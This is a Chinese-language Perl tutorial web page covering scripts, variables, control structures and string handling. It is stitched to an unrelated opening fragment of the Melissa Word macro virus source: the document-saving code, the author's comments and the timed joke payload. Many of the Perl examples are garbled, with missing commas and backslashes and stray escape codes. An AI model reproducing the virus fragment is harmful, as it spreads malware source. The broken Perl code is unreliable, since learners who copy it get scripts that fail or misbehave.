"Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1 ActiveDocument.Name "Document") < > False) Then ActiveDocument.Saved = True End If 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 < --> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points plus triple-word-score plus fifty points for using all my letters. Game's over. I'm outta here." End Sub 第十四章 Perl语言简介 什么是Perl? Perl是一个能用来完成大量不同任务的编程语言。可以用来解开一个文件并打印一份报告,或者将一个文本文件转换成另一种格式。Perl为相当复杂的问题提供了一系列的工具,包括系统编程。 用Perl写的程序叫脚本(Perl scripts),而perl程序(perl program)通常是指名字叫做perl的程序,它是用来执行脚本的。 Perl是解释型(不是编译型)语言。这样,运行一个脚本,和运行一个相应的C程序来讲,要花费相当多的CPU时间。但是,现在的计算机速度越来越快,写一个C程序花的时间比写一个Perl脚本多,从而总的来讲,反而节省了你的时间。 Hello world! 我们还是来写一个Hello world脚本。通过它来介绍Perl脚本的编写和运行的一些最基本的东西。 现在开始: [Jobs /]cat >hello #!/usr/bin/perl print "Hello world!"; [Jobs /]chmod a+x hello [Jobs /]./hello Hello world! [Jobs /] 注解: 1. 用cat命令创建一个叫hello的文件,它包含一个很简单的Perl脚本。通常可以用别的编辑器来创建脚本。 2. 第一行脚本是, #!/usr/bin/perl。它表示脚本是由perl程序来运行的。它是一个必须的前缀。/usr/bin/perl部分是perl程序的路径名。不同的安装,路径名是不同的。 3. 随后是相应的Perl脚本,这里仅有一行。这一行是很好理解的,其中代表newline(换行)。在Perl的字符串,控制字符通常使用这种与C语言类似的表达法,\u21518后跟一个字符。 4. 程序写完之后,用chmod命令让这个包含脚本的程序可以执行。在Linux里,文件创建是通常是不可执行的,必须明确的改变文件的属性。在这个命令中all用户能execute(执行)这个文件。 5. 最后,键入脚本文件名就能运行这个脚本了。 ./表示是在Jobs目录下的那个文件。 注意,在Perl中,和C语言一样,一个语句是一个分号结尾的。 数据结构和变量 在Perl中一个变量的值可以是一个数字或字符串或其它别的东西。变量是没有类型的。你可以将一个字符串赋给一个变量,以后,你可以将一个数字赋给同一个变量。 变量在使用前不需要申明。 试图使用一个没有初始化的变量,你用的实际上是0或者一个空的字符串或真假值中的false(假),具体是哪个值,由上下文决定。在使用命令行开关时,表示要求Perl解释器能给出告警信息,比如,-w报告使用了没有定义的值。 Perl has three data structures: Perl有三种数据结构:scalars,scalars数组,scalars联合数组,就是"hashes"。 Scalar变量名通常以$符号开始,如$myvar。 数组通常以@符号开始,如@myarray。 Hashes的名字通常以%开始,如%myhash。 另外,子程序的名字以&开始,通常这个&可以省略。 上面的符号可以和英语中的单词相对应: $ 和 the, @ 和 these or those, % 和 these or those, & 和 do。 名字是区分字母的大小写的。比如$foo和$Foo是两个不同的变量。 如果有个数组,如@myarr,你可以用方括号来索引它的某个成员。但此时@要变成$,如$myarr[5]。因为这个成员是一个scalar变量。 也可以组成一个数组,如@myvar[5..10],它是一个数组,是由@myvar组成的,它们的索引分别在5和10之间。 数组的索引是整数,从0开始,和C语言一样。 Hashes,能用字符串来索引它的成员,因此,索引方法不同。对于hashes,索引用大括号表示,如$myhash{'foobar'}。同样,被索引的成员是scalar,必须用$开始。 每种变量都有他们自己的名字空间。因此$foo和@foo是不同的变量名。同样$foo[1]是@foo的一部分,而不是$foo的一部分。另外,有两个预定义的变量,$_和@_。必须知道$_[2]是@_中的一个成员。 一个数组事实上是一个值的列表。在Perl中,可以用以下方法来生成一个列表, (2 3 7 42) 一个列表可以赋给一个数组变量,如 @foo = (2 3 7 42); 列表在Perl中是很重要的,因为许多操作的结果是列表。 例子:显示的行带行号 下面的例子显示scalar变量的使用。同时也介绍了Perl的几个基本特征。 这个脚本打印出它的输入,但输出的每行有一个行号开始: #!/usr/bin/perl $line = 1; while (< >) { print $line " " $_; $line = $line + 1; } Scalar变量$line是行记数。在一开始,它被初始化为1,在每次处理一行的循环中它的值加上一个1。 循环结构的形式如下: while (< >) { 处理一行输入 } 尽管看上去有点神秘,它确实非常便于使用。你不必关心真正的输入操作;就用上面的结构就可以了,用预定义的变量$_来引用输入行。 print语句包含三个参数,一个是打印行号,一个是打印一个空格,另一个是打印整个的输入行。没有打印换行,因为变量$_中已经包含了换行符了。 实际上,可以将代码写的更加简洁: #!/usr/bin/perl $line = 1; while (< >) { print $line++ " " $_; } 这里,语句中包含了$line++ 而不仅仅是$line 因为在Perl中,和C语言类似,你可以通过给变量加一个运算符来表示对一个变量加1操作。 如果希望行号是右对齐的,比如行号显示在固定的5个字符这样的区域内,左边的用空格来填充。这相当简单,只需用下面这条语句代替print语句: printf "%5d %s" $line++ $_; Perl脚本的输入 Perl脚本从那里得到输入值?默认的,即在输入没有任何参数的情况下,输入来自Linux中所谓的输入流。通常是用户的键盘。 通常希望脚本从文件中输入。简单的将文件名作为命令行参数,也就是,脚本文件的名字是命令的时候。这样,举个例子,如果你已经写好了这个简单的脚本,并命名为lines,你可以用下面的方法来测试: [Jobs /]./lines lines 1 #!/usr/bin/perl 2 $line = 1; 3 while (< >) { 4 print $line++ " " $_; } [Jobs /] 你可能写了几个文件名字作为命令行参数,比如: lines foo bar zap 这意味着脚本lines将文件foo bar 和 zap 作为一个已经合并的单个文件来处理。 例子:拆分输入行 在Perl中,你可以不用详细地写代码就能将数据分成几个域。只需指定你想做什么。 比如,语句: split; 首先将当前输入行分解成有空格分隔的域,然后将这些域分别赋值给预定义数组@_。随后,就可以使用索引来存取这些域。变量$#_ 包含域的数目:它的值是域的数目减1。 假设,举个例子,有一些数据,每行包括几个由空格分隔的项,如果写一个Perl脚本,将每行的第二项挑选出来。可以写下面这样的一个脚本来实现。 #!/usr/bin/perl while (< >) { split; print $_[1] ""; } 要注意的是由于在Perl中索引值从0开始,因此用一个值为1的索引是引用第二个域。 控制结构 Perl有丰富的控制结构。理论上,通常也很实际,可以用if语句来实现分支结构,while语句来实现循环结构。 在控制结构中,实现有条件执行的动作,或循环执行的动作做为blocks。一个块是一个有大括号围起来的一系列语句。注意,括号是必须的,这和C语言略有不同。 最简单的if语句的格式是: if(expression)block 它表示,先计算表达式的值,如果表达式的结果为真的话,就执行块语句。 比如,语句if($i < 10) {$j = 100;} ,如果$i的值小于10的话,$j的值就设为100。 一个有两个分支的语句的格式如下: if(expression)block1 else block2 首先计算表达式的值,如果为真,执行block1,否则执行block2 。 while语句的格式如下: while(expression)block 先计算表达式的值,如果为真,执行块里面的语句,然后,再计算表达式的值,直到表达式的值为假,否则,还要执行块里的语句。 下面的脚本是一个使用while语句的简单例子,它将输入行进行分解,按相反的方向把各个域打印出来。 #!/usr/bin/perl while (< >) { split; $i = $#_; while($i >= 0) { print $_[$i--] " "; } print ""; } 在内部的while循环,控制是建立在使用一个辅助的变量$i上的。它的值初始化成对最后一个域的引用,并且不断递减,直到为0,此时,所有的域都处理完毕。运算符>=的意思是大于或等于。 字符串处理 Perl有强大的字符串处理工具。比如,通常希望将输入数据转换成小写,很简单: tr /A-Z/a-z/; 这可以理解成:将范围是A到Z的所有字符转换(translate)成范围是a到z的字符。 这个操作是在变量$_上,也就是当前输入行上进行的。如果你想将它用到变量$foo上,你必须这样写: $foo =~ tr /A-Z/a-z/; 有可能这样的表达式很怪,但一旦熟悉之后,Perl的字符串工具很容易使用。 例子:文件重命名 Linux用户需要将以后缀,比如.for结尾的文件的名字都重新命名成另一个后缀,比如.f。通常没有直接的命令来完成这一个任务。如果你想要用mv *.for *.f ,通常这样并不能解决问题。 但可以用Perl来写一个简单的脚本来实现: #!/usr/bin/perl while(< *.for>) { $oldname = $_; s/.for$/.f/; rename $oldname $_; } while语句表示它只对*.for的名字进行处理。首先将找到的要处理的文件名,把匹配的文件名赋给$_变量。 在循环体内,首先将$_变量所指的文件名保存到变量$oldname 里。随后,对它进行替换。 最后,用替换好的名字来重命名文件。rename是Perl的一个内建函数,他有两个参数。我们可以用另一条语句来代替它: system "mv $oldname $_"; 它是通过调用操作系统命令来实现的。 另外,需要注意的是语句s/.for$/.f/;中的两个\u12290。如果该语句中没有\u65292,则成为: s/.for$/.f/; 这个语句就不对了。如果遇到zapfor.for ,就会产生如下替换:za.f.for。因为符号.代表任意字符。所以.for的意思是只要在字符串中包含for,就做替换。因此会产生上述结果。为了表示.,就必须用到换码序列,用.来表示符号.。这与C语言中的概念类似。 小结 Perl语言的语法和C语言有些相同之处,比如控制结构,语句的;结尾,换码序列等等。但它们也有明显差别。C语言是编译型的,C程序的运行效率高。Perl语言是解释型的,脚本的运行效率比较低。但是Perl语言的综合性较高,编写一些功能较复杂的程序所化的时间比较短。另外,Perl的变量是没有数据类型。 参考资料 1、MU Campus Computing的Introduction to Perl or Learn Perl in Two Hours 。 在本站下载这一文件:Introduction to Perl or Learn Perl in Two Hours 2、The Perl Language Home Page 包括一些有关Perl的有用的信息,如Perl FAQ。 3、在Windows 95和NT上使用Perl语言。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|